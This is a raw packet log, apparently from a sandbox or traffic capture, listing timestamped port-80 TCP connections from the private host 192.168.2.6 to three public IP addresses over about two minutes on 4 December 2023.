Dec 4, 2023 12:34:25.427454948 CET	80	49813	167.99.35.88	192.168.2.6
Dec 4, 2023 12:34:25.427531958 CET	49813	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:26.114608049 CET	49814	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:34:26.300853014 CET	80	49814	88.198.29.97	192.168.2.6
Dec 4, 2023 12:34:26.300954103 CET	49814	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:34:26.301198959 CET	49814	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:34:26.488008022 CET	80	49814	88.198.29.97	192.168.2.6
Dec 4, 2023 12:34:26.488202095 CET	49814	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:34:26.512546062 CET	49815	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:26.693391085 CET	80	49815	167.99.35.88	192.168.2.6
Dec 4, 2023 12:34:26.693505049 CET	49815	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:26.693770885 CET	49815	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:26.874531031 CET	80	49815	167.99.35.88	192.168.2.6
Dec 4, 2023 12:34:26.874578953 CET	80	49815	167.99.35.88	192.168.2.6
Dec 4, 2023 12:34:26.874686003 CET	80	49815	167.99.35.88	192.168.2.6
Dec 4, 2023 12:34:26.874705076 CET	49815	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:26.874739885 CET	49815	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:26.898848057 CET	49813	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:26.899266958 CET	49816	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:27.079626083 CET	80	49813	167.99.35.88	192.168.2.6
Dec 4, 2023 12:34:27.079701900 CET	49813	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:27.083055019 CET	80	49816	167.99.35.88	192.168.2.6
Dec 4, 2023 12:34:27.083141088 CET	49816	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:27.083889008 CET	49816	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:27.267884016 CET	80	49816	167.99.35.88	192.168.2.6
Dec 4, 2023 12:34:27.267950058 CET	80	49816	167.99.35.88	192.168.2.6
Dec 4, 2023 12:34:27.268063068 CET	49816	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:29.111433029 CET	49817	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:34:29.270155907 CET	80	49817	64.70.19.203	192.168.2.6
Dec 4, 2023 12:34:29.270354986 CET	49817	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:34:29.270617962 CET	49817	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:34:29.429284096 CET	80	49817	64.70.19.203	192.168.2.6
Dec 4, 2023 12:34:29.429348946 CET	49817	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:34:29.570472956 CET	49818	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:29.754232883 CET	80	49818	167.99.35.88	192.168.2.6
Dec 4, 2023 12:34:29.754479885 CET	49818	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:29.754852057 CET	49818	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:29.938369036 CET	80	49818	167.99.35.88	192.168.2.6
Dec 4, 2023 12:34:29.938401937 CET	80	49818	167.99.35.88	192.168.2.6
Dec 4, 2023 12:34:29.938420057 CET	80	49818	167.99.35.88	192.168.2.6
Dec 4, 2023 12:34:29.938463926 CET	49818	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:29.938548088 CET	49818	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:29.966041088 CET	49816	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:29.967118025 CET	49819	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:30.147936106 CET	80	49819	167.99.35.88	192.168.2.6
Dec 4, 2023 12:34:30.148075104 CET	49819	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:30.148364067 CET	49819	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:30.149902105 CET	80	49816	167.99.35.88	192.168.2.6
Dec 4, 2023 12:34:30.149981976 CET	49816	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:30.329009056 CET	80	49819	167.99.35.88	192.168.2.6
Dec 4, 2023 12:34:30.329041958 CET	80	49819	167.99.35.88	192.168.2.6
Dec 4, 2023 12:34:30.329117060 CET	49819	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:35.108824015 CET	49820	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:34:35.267591000 CET	80	49820	64.70.19.203	192.168.2.6
Dec 4, 2023 12:34:35.267709017 CET	49820	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:34:35.267790079 CET	49820	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:34:35.426800966 CET	80	49820	64.70.19.203	192.168.2.6
Dec 4, 2023 12:34:35.426863909 CET	49820	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:34:35.476543903 CET	49821	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:35.658873081 CET	80	49821	167.99.35.88	192.168.2.6
Dec 4, 2023 12:34:35.658988953 CET	49821	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:35.659403086 CET	49821	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:35.841748953 CET	80	49821	167.99.35.88	192.168.2.6
Dec 4, 2023 12:34:35.841798067 CET	80	49821	167.99.35.88	192.168.2.6
Dec 4, 2023 12:34:35.841892004 CET	80	49821	167.99.35.88	192.168.2.6
Dec 4, 2023 12:34:35.841941118 CET	49821	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:35.842045069 CET	49821	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:35.856957912 CET	49819	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:35.857726097 CET	49822	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:36.037570000 CET	80	49819	167.99.35.88	192.168.2.6
Dec 4, 2023 12:34:36.037638903 CET	49819	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:36.039374113 CET	80	49822	167.99.35.88	192.168.2.6
Dec 4, 2023 12:34:36.039448977 CET	49822	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:36.039907932 CET	49822	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:36.222029924 CET	80	49822	167.99.35.88	192.168.2.6
Dec 4, 2023 12:34:36.222054005 CET	80	49822	167.99.35.88	192.168.2.6
Dec 4, 2023 12:34:36.222100973 CET	49822	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:39.112087011 CET	49823	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:34:39.298408031 CET	80	49823	88.198.29.97	192.168.2.6
Dec 4, 2023 12:34:39.298633099 CET	49823	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:34:39.306015968 CET	49823	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:34:39.491977930 CET	80	49823	88.198.29.97	192.168.2.6
Dec 4, 2023 12:34:39.492187023 CET	49823	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:34:39.516329050 CET	49824	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:39.698283911 CET	80	49824	167.99.35.88	192.168.2.6
Dec 4, 2023 12:34:39.698357105 CET	49824	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:39.698506117 CET	49824	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:39.880458117 CET	80	49824	167.99.35.88	192.168.2.6
Dec 4, 2023 12:34:39.880474091 CET	80	49824	167.99.35.88	192.168.2.6
Dec 4, 2023 12:34:39.880485058 CET	80	49824	167.99.35.88	192.168.2.6
Dec 4, 2023 12:34:39.880593061 CET	49824	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:39.880693913 CET	49824	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:39.882497072 CET	49822	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:39.883018017 CET	49825	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:40.064623117 CET	80	49822	167.99.35.88	192.168.2.6
Dec 4, 2023 12:34:40.064717054 CET	49822	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:40.065857887 CET	80	49825	167.99.35.88	192.168.2.6
Dec 4, 2023 12:34:40.065944910 CET	49825	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:40.066282034 CET	49825	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:40.248956919 CET	80	49825	167.99.35.88	192.168.2.6
Dec 4, 2023 12:34:40.248980999 CET	80	49825	167.99.35.88	192.168.2.6
Dec 4, 2023 12:34:40.249103069 CET	49825	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:41.250281096 CET	49826	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:34:41.437452078 CET	80	49826	88.198.29.97	192.168.2.6
Dec 4, 2023 12:34:41.437602997 CET	49826	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:34:41.437764883 CET	49826	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:34:41.624984026 CET	80	49826	88.198.29.97	192.168.2.6
Dec 4, 2023 12:34:41.625122070 CET	49826	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:34:41.633857012 CET	49827	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:41.816395998 CET	80	49827	167.99.35.88	192.168.2.6
Dec 4, 2023 12:34:41.816487074 CET	49827	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:41.816617966 CET	49827	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:41.999398947 CET	80	49827	167.99.35.88	192.168.2.6
Dec 4, 2023 12:34:41.999413967 CET	80	49827	167.99.35.88	192.168.2.6
Dec 4, 2023 12:34:41.999447107 CET	80	49827	167.99.35.88	192.168.2.6
Dec 4, 2023 12:34:41.999522924 CET	49827	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:41.999599934 CET	49827	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:42.013072014 CET	49825	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:42.013638020 CET	49828	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:42.195723057 CET	80	49825	167.99.35.88	192.168.2.6
Dec 4, 2023 12:34:42.195790052 CET	49825	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:42.197463036 CET	80	49828	167.99.35.88	192.168.2.6
Dec 4, 2023 12:34:42.197537899 CET	49828	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:42.197812080 CET	49828	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:42.381745100 CET	80	49828	167.99.35.88	192.168.2.6
Dec 4, 2023 12:34:42.381761074 CET	80	49828	167.99.35.88	192.168.2.6
Dec 4, 2023 12:34:42.381829023 CET	49828	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:45.295495987 CET	49829	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:34:45.482727051 CET	80	49829	88.198.29.97	192.168.2.6
Dec 4, 2023 12:34:45.482815027 CET	49829	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:34:45.482985020 CET	49829	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:34:45.670090914 CET	80	49829	88.198.29.97	192.168.2.6
Dec 4, 2023 12:34:45.670192003 CET	49829	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:34:45.683563948 CET	49830	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:45.867038012 CET	80	49830	167.99.35.88	192.168.2.6
Dec 4, 2023 12:34:45.867183924 CET	49830	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:45.867286921 CET	49830	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:46.050859928 CET	80	49830	167.99.35.88	192.168.2.6
Dec 4, 2023 12:34:46.050882101 CET	80	49830	167.99.35.88	192.168.2.6
Dec 4, 2023 12:34:46.050968885 CET	80	49830	167.99.35.88	192.168.2.6
Dec 4, 2023 12:34:46.051053047 CET	49830	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:46.051304102 CET	49830	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:46.053929090 CET	49828	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:46.054646969 CET	49832	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:46.233805895 CET	80	49832	167.99.35.88	192.168.2.6
Dec 4, 2023 12:34:46.233913898 CET	49832	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:46.234392881 CET	49832	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:46.237761974 CET	80	49828	167.99.35.88	192.168.2.6
Dec 4, 2023 12:34:46.237824917 CET	49828	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:46.413551092 CET	80	49832	167.99.35.88	192.168.2.6
Dec 4, 2023 12:34:46.413594961 CET	80	49832	167.99.35.88	192.168.2.6
Dec 4, 2023 12:34:46.413753033 CET	49832	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:34:48.389687061 CET	49833	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:34:48.551742077 CET	80	49833	64.70.19.203	192.168.2.6
Dec 4, 2023 12:34:48.551822901 CET	49833	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:34:48.551924944 CET	49833	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:34:48.710306883 CET	80	49833	64.70.19.203	192.168.2.6
Dec 4, 2023 12:34:48.710367918 CET	49833	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:34:50.025028944 CET	49834	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:34:50.211278915 CET	80	49834	88.198.29.97	192.168.2.6
Dec 4, 2023 12:34:50.211349010 CET	49834	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:34:50.211492062 CET	49834	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:34:50.397449970 CET	80	49834	88.198.29.97	192.168.2.6
Dec 4, 2023 12:34:50.397629976 CET	49834	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:34:51.265445948 CET	49835	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:34:51.451802969 CET	80	49835	88.198.29.97	192.168.2.6
Dec 4, 2023 12:34:51.452019930 CET	49835	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:34:51.452110052 CET	49835	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:34:51.638067007 CET	80	49835	88.198.29.97	192.168.2.6
Dec 4, 2023 12:34:51.638200998 CET	49835	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:34:58.873950958 CET	80	49832	167.99.35.88	192.168.2.6
Dec 4, 2023 12:34:58.874094963 CET	49832	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:35:02.012633085 CET	49836	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:35:02.171231031 CET	80	49836	64.70.19.203	192.168.2.6
Dec 4, 2023 12:35:02.171365023 CET	49836	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:35:02.208417892 CET	49836	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:35:02.367202044 CET	80	49836	64.70.19.203	192.168.2.6
Dec 4, 2023 12:35:02.367337942 CET	49836	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:35:03.641786098 CET	49837	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:35:03.800524950 CET	80	49837	64.70.19.203	192.168.2.6
Dec 4, 2023 12:35:03.800780058 CET	49837	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:35:03.800945044 CET	49837	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:35:03.959592104 CET	80	49837	64.70.19.203	192.168.2.6
Dec 4, 2023 12:35:03.959606886 CET	80	49837	64.70.19.203	192.168.2.6
Dec 4, 2023 12:35:03.959877014 CET	49837	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:35:04.236835957 CET	49838	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:35:04.422861099 CET	80	49838	88.198.29.97	192.168.2.6
Dec 4, 2023 12:35:04.422940016 CET	49838	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:35:04.423266888 CET	49838	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:35:04.609003067 CET	80	49838	88.198.29.97	192.168.2.6
Dec 4, 2023 12:35:04.609095097 CET	49838	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:35:06.728532076 CET	49839	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:35:06.914738894 CET	80	49839	88.198.29.97	192.168.2.6
Dec 4, 2023 12:35:06.914956093 CET	49839	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:35:06.915050030 CET	49839	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:35:07.101073980 CET	80	49839	88.198.29.97	192.168.2.6
Dec 4, 2023 12:35:07.101135015 CET	49839	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:35:21.250394106 CET	49840	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:35:21.409233093 CET	80	49840	64.70.19.203	192.168.2.6
Dec 4, 2023 12:35:21.409392118 CET	49840	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:35:21.409681082 CET	49840	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:35:21.568640947 CET	80	49840	64.70.19.203	192.168.2.6
Dec 4, 2023 12:35:21.568739891 CET	49840	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:35:21.845002890 CET	49841	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:35:22.003804922 CET	80	49841	64.70.19.203	192.168.2.6
Dec 4, 2023 12:35:22.003928900 CET	49841	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:35:22.009147882 CET	49841	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:35:22.167596102 CET	80	49841	64.70.19.203	192.168.2.6
Dec 4, 2023 12:35:22.167661905 CET	49841	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:35:22.761930943 CET	49842	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:35:22.949616909 CET	80	49842	88.198.29.97	192.168.2.6
Dec 4, 2023 12:35:22.949897051 CET	49842	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:35:22.950136900 CET	49842	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:35:23.138164043 CET	80	49842	88.198.29.97	192.168.2.6
Dec 4, 2023 12:35:23.138336897 CET	49842	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:35:25.819276094 CET	49843	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:35:25.977957010 CET	80	49843	64.70.19.203	192.168.2.6
Dec 4, 2023 12:35:25.978081942 CET	49843	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:35:25.978301048 CET	49843	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:35:26.136723995 CET	80	49843	64.70.19.203	192.168.2.6
Dec 4, 2023 12:35:26.136985064 CET	49843	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:35:30.933075905 CET	49844	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:35:31.120604992 CET	80	49844	88.198.29.97	192.168.2.6
Dec 4, 2023 12:35:31.120697021 CET	49844	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:35:31.120888948 CET	49844	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:35:31.308087111 CET	80	49844	88.198.29.97	192.168.2.6
Dec 4, 2023 12:35:31.308173895 CET	49844	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:35:37.686389923 CET	49845	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:35:37.872415066 CET	80	49845	88.198.29.97	192.168.2.6
Dec 4, 2023 12:35:37.872530937 CET	49845	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:35:37.872703075 CET	49845	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:35:38.058660030 CET	80	49845	88.198.29.97	192.168.2.6
Dec 4, 2023 12:35:38.058732033 CET	49845	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:35:39.333034992 CET	49846	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:35:39.518939018 CET	80	49846	88.198.29.97	192.168.2.6
Dec 4, 2023 12:35:39.519057989 CET	49846	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:35:39.519253016 CET	49846	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:35:39.705250978 CET	80	49846	88.198.29.97	192.168.2.6
Dec 4, 2023 12:35:39.705353022 CET	49846	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:35:41.908056974 CET	49847	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:35:42.095496893 CET	80	49847	88.198.29.97	192.168.2.6
Dec 4, 2023 12:35:42.095592976 CET	49847	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:35:42.095724106 CET	49847	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:35:42.282704115 CET	80	49847	88.198.29.97	192.168.2.6
Dec 4, 2023 12:35:42.282790899 CET	49847	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:35:44.343373060 CET	49848	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:35:44.502026081 CET	80	49848	64.70.19.203	192.168.2.6
Dec 4, 2023 12:35:44.502254963 CET	49848	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:35:44.502299070 CET	49848	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:35:44.661086082 CET	80	49848	64.70.19.203	192.168.2.6
Dec 4, 2023 12:35:44.661223888 CET	49848	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:35:45.547509909 CET	49849	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:35:45.733553886 CET	80	49849	88.198.29.97	192.168.2.6
Dec 4, 2023 12:35:45.733647108 CET	49849	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:35:45.733750105 CET	49849	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:35:45.919749022 CET	80	49849	88.198.29.97	192.168.2.6
Dec 4, 2023 12:35:45.919831991 CET	49849	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:35:46.967324972 CET	49850	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:35:47.126351118 CET	80	49850	64.70.19.203	192.168.2.6
Dec 4, 2023 12:35:47.126496077 CET	49850	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:35:48.621474981 CET	49850	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:35:48.780621052 CET	80	49850	64.70.19.203	192.168.2.6
Dec 4, 2023 12:35:48.780730009 CET	49850	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:35:49.703557968 CET	49851	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:35:49.862481117 CET	80	49851	64.70.19.203	192.168.2.6
Dec 4, 2023 12:35:49.862587929 CET	49851	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:35:49.862776995 CET	49851	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:35:50.021542072 CET	80	49851	64.70.19.203	192.168.2.6
Dec 4, 2023 12:35:50.021626949 CET	49851	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:35:51.972112894 CET	49852	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:35:52.130945921 CET	80	49852	64.70.19.203	192.168.2.6
Dec 4, 2023 12:35:52.131050110 CET	49852	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:35:52.134105921 CET	49852	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:35:52.292738914 CET	80	49852	64.70.19.203	192.168.2.6
Dec 4, 2023 12:35:52.331084967 CET	80	49852	64.70.19.203	192.168.2.6
Dec 4, 2023 12:35:52.331233978 CET	49852	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:35:53.034353971 CET	49853	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:35:53.220581055 CET	80	49853	88.198.29.97	192.168.2.6
Dec 4, 2023 12:35:53.220654964 CET	49853	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:35:53.220794916 CET	49853	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:35:53.408170938 CET	80	49853	88.198.29.97	192.168.2.6
Dec 4, 2023 12:35:53.473283052 CET	80	49853	88.198.29.97	192.168.2.6
Dec 4, 2023 12:35:53.473417997 CET	49853	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:35:56.498085976 CET	49854	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:35:56.656860113 CET	80	49854	64.70.19.203	192.168.2.6
Dec 4, 2023 12:35:56.656981945 CET	49854	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:35:56.665395975 CET	49854	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:35:56.824824095 CET	80	49854	64.70.19.203	192.168.2.6
Dec 4, 2023 12:35:56.824892044 CET	49854	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:35:57.167665005 CET	49855	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:35:57.327260971 CET	80	49855	64.70.19.203	192.168.2.6
Dec 4, 2023 12:35:57.327362061 CET	49855	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:35:57.327501059 CET	49855	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:35:57.489109039 CET	80	49855	64.70.19.203	192.168.2.6
Dec 4, 2023 12:35:57.489212990 CET	49855	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:35:58.812402010 CET	49856	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:35:58.971298933 CET	80	49856	64.70.19.203	192.168.2.6
Dec 4, 2023 12:35:58.971400976 CET	49856	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:35:58.971544981 CET	49856	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:35:59.130155087 CET	80	49856	64.70.19.203	192.168.2.6
Dec 4, 2023 12:35:59.130287886 CET	49856	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:35:59.407052994 CET	49857	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:35:59.594722033 CET	80	49857	88.198.29.97	192.168.2.6
Dec 4, 2023 12:35:59.594858885 CET	49857	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:35:59.595012903 CET	49857	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:35:59.781200886 CET	80	49857	88.198.29.97	192.168.2.6
Dec 4, 2023 12:35:59.781261921 CET	49857	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:36:04.842298985 CET	49858	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:36:05.000865936 CET	80	49858	64.70.19.203	192.168.2.6
Dec 4, 2023 12:36:05.000993013 CET	49858	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:36:05.001131058 CET	49858	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:36:05.159596920 CET	80	49858	64.70.19.203	192.168.2.6
Dec 4, 2023 12:36:05.159718037 CET	49858	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:36:08.634752989 CET	49832	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:36:09.087239027 CET	49832	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:36:09.993491888 CET	49832	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:36:11.359117985 CET	49860	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:36:11.519201040 CET	80	49860	64.70.19.203	192.168.2.6
Dec 4, 2023 12:36:11.519475937 CET	49860	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:36:11.519707918 CET	49860	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:36:11.679084063 CET	80	49860	64.70.19.203	192.168.2.6
Dec 4, 2023 12:36:11.679135084 CET	49860	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:36:11.790400982 CET	49832	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:36:13.205243111 CET	49861	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:36:13.391352892 CET	80	49861	88.198.29.97	192.168.2.6
Dec 4, 2023 12:36:13.391475916 CET	49861	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:36:13.399815083 CET	49861	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:36:13.586045980 CET	80	49861	88.198.29.97	192.168.2.6
Dec 4, 2023 12:36:13.586148977 CET	49861	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:36:15.384121895 CET	49832	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:36:15.424031019 CET	49862	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:36:15.582741976 CET	80	49862	64.70.19.203	192.168.2.6
Dec 4, 2023 12:36:15.582890987 CET	49862	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:36:15.587296009 CET	49862	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:36:15.746166945 CET	80	49862	64.70.19.203	192.168.2.6
Dec 4, 2023 12:36:15.746258974 CET	49862	80	192.168.2.6	64.70.19.203
Dec 4, 2023 12:36:22.577558041 CET	49863	80	192.168.2.6	88.198.29.97
Dec 4, 2023 12:36:22.681034088 CET	49832	80	192.168.2.6	167.99.35.88
Dec 4, 2023 12:36:22.764642000 CET	80	49863	88.198.29.97	192.168.2.6
Dec 4, 2023 12:36:22.764733076 CET	49863	80	192.168.2.6	88.198.29.97
